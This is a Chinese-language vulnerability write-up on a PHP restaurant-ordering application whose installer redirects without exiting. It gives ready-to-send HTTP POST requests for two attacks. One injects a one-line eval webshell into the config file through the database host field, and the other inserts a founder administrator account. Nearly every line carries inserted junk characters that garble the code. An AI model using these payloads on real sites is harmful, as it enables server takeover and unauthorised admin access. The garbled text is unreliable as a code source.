问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。- ]3 h- [( l6 \. P1 q \! q7 ~* O
5 a; V" j! r+ O8 u% {<?php
( J5 U) {4 k! U* Z5 }if(file_exists("../install.lock"))1 P0 h2 y5 y8 n8 i, X+ @+ {
{ T2 g* Z' Q" ^) T+ @! s* q# E
header("Location: ../");//没有退出
% M0 ?1 f( e# q. b& Z% p0 w3 @}' ~; n y' M& v( s6 g
: B' r) u1 ]- d9 G9 t) p//echo 'tst';exit;1 a, _, Y; N2 R; c9 R7 t. @
require_once("init.php");* \7 @1 I. {. ^# p
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)$ C; p) _8 E' ?3 a- h+ _5 D- V
{+ L, A- m1 q7 I6 t+ K( Y
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。1 E0 i7 Q4 m& N
# i* `: t O) o4 t4 G/ q1、getshell(很危险)
* N0 g, ]: T+ p" A, rif(empty($_REQUEST['step']) || $_REQUEST['step']==1) k! v& e4 D4 B2 K5 f% Q
{; x4 G0 h1 C+ o
$smarty->assign("step",1);
+ L$ S$ k& h# K$smarty->display("index.html");0 |! |0 {. J& v `3 \9 d. e
}elseif($_REQUEST['step']==2)
& [! G" A h; G: S& Z# I3 [{
! i- k1 [. |. A/ F $mysql_host=trim($_POST['mysql_host']);% H7 C; i4 M1 ]/ G! T; M6 k
$mysql_user=trim($_POST['mysql_user']);
& o9 |4 T9 t8 X8 Z! F/ W7 e $mysql_pwd=trim($_POST['mysql_pwd']);
5 {- `6 x' b% v$ c+ i! j/ I! O $mysql_db=trim($_POST['mysql_db']); A% E' V h& I
$tblpre=trim($_POST['tblpre']);9 u7 @, t- y6 A. D
$domain==trim($_POST['domain']);
& T, Q7 D: C' o: \: m& [, `7 r& U $str="<?php \r\n";
8 N# Z( j, C: z $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
- l- B: ^4 r# M# n( p0 Q; o $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";# V5 p5 E4 g2 V& C( R+ O
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";: S* T$ m( H2 ~2 t2 F9 y! {$ I
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
$ v5 ]8 ?& m- ^, d" Q $str.='define("MYSQL_CHARSET","GBK");'."\r\n";, H% r/ A' h; T, [8 f% @
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";# Z5 f: D% M- T5 |7 F* J5 Y
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
) X7 s# F$ v" U4 K' r% l& a $str.='define("SKINS","default");'."\r\n";
" y. Z3 s3 _7 D: z $str.='?>';' x8 | t/ ^0 o: g9 r! H& n7 U
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
+ U1 j3 O1 D3 P# Y. P) l上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
1 z& t: Y6 ?/ j7 a7 a- l7 @POST /canting/install/index.php?m=index&step=2 HTTP/1.1
& w* }% I9 ^! P1 I( L7 Z d* hHost: 192.168.80.129
. _# j3 m! Q1 K- qUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.05 F0 a# ~- `: E1 z6 s/ _
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
: L7 D! w! X. W I# d0 Y# E" xAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
7 M$ W: s: c X8 I- dAccept-Encoding: gzip, deflate+ F4 o. E: ]$ I t, [" K' o5 Y# _ ?
Referer: http://192.168.80.129/canting/install/index.php?step=17 r! D8 c! s* L& y7 B9 W. Z
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc427 S8 Z* [8 ]! [5 M7 P
Content-Type: application/x-www-form-urlencoded
' ^8 \0 k O/ lContent-Length: 1260 N- _+ n: ?1 Y3 }
& l+ R9 R4 \4 p' f( {. R0 gmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD, {7 h/ G: m# F; X
但是这个方法很危险,将导致网站无法运行。4 q( g9 F `5 p/ j
8 c& Q. y8 m4 P( J0 \' u2、直接添加管理员* G1 h$ Z S7 T7 l `! k
0 K) ^" k k0 C# `0 F) Gelseif($_REQUEST['step']==5)
1 _' m5 d& }0 }* z' p3 z. } C{+ @0 m3 [& i* z# U
if($_POST)/ `, Q( C: f3 k E" q
{ require_once("../config/config.inc.php");
}# Y3 A+ }5 K/ I/ e2 f [' P $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
/ k+ B$ Z( p1 Q, ?, g* c" I6 e mysql_select_db(MYSQL_DB,$link);
, y" ?. F9 H/ i Y mysql_query("SET NAMES ".MYSQL_CHARSET );
$ q& U9 u& w2 b9 r( R9 P mysql_query("SET sql_mode=''");: I# j# C4 V% Q" ?
8 |/ N5 a* g" X$ A3 G+ B7 n $adminname=trim($_POST['adminname']);& H! q1 C8 s4 P$ F7 _
$pwd1=trim($_POST['pwd1']);' W) \' R0 d' y% e9 n+ V5 b
$pwd2=trim($_POST['pwd2']);1 ]" M4 F6 \' S- L
if(empty($adminname))8 s3 d+ U9 m2 A l
{
2 C6 T( y% ^7 L/ S1 P. y3 h, N! C/ n7 Y1 U' E2 a
echo "<script>alert('管理员不能为空');history.go(-1);</script>"; l2 W3 L# D1 ?) c
exit(); c* T1 J/ G4 {" U2 E- I, c
}' k$ H9 L7 _2 ~0 Z, u W
if(($pwd1!=$pwd2) or empty($pwd1))
/ a7 \$ E% {# F {
) _( a$ e$ f/ n# ?$ ^4 Y( o echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
4 k! K/ x8 B, x4 M' p }( n8 J& i* t+ `! C! b$ \7 o
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
% H; c- O1 J6 Z- N8 a0 Z, Y }
F" [( J [1 L7 T这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:& L2 {+ [ ~) k$ I8 o& \
POST /canting/install/index.php?m=index&step=5 HTTP/1.1' I9 \" c$ {; ]% C
Host: 192.168.80.129
) I2 h# d1 j! V9 N) M9 mUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
b1 c+ i. U6 f/ R# Y" g' W3 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ b& B4 w8 n1 g6 @, K _Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3% @4 U5 n8 k7 p$ P
Accept-Encoding: gzip, deflate
( J! {/ }- h/ R5 r, u/ I4 NReferer: http://www.2cto.com /canting/install/index.php?step=1
8 y% [7 o, z# k6 O5 O" VCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc421 T$ Y6 Z( U- P9 o3 {; h9 [4 G( S
Content-Type: application/x-www-form-urlencoded
" H8 J6 S+ _7 B' D0 C" w7 E2 b/ RContent-Length: 46! s* v9 p3 i% Q Z* l+ l# ]3 [
8 z. g& b' `& k$ ]2 aadminname=qingshen&pwd1=qingshen&pwd2=qingshen
/ p( E% i! j, z3 S |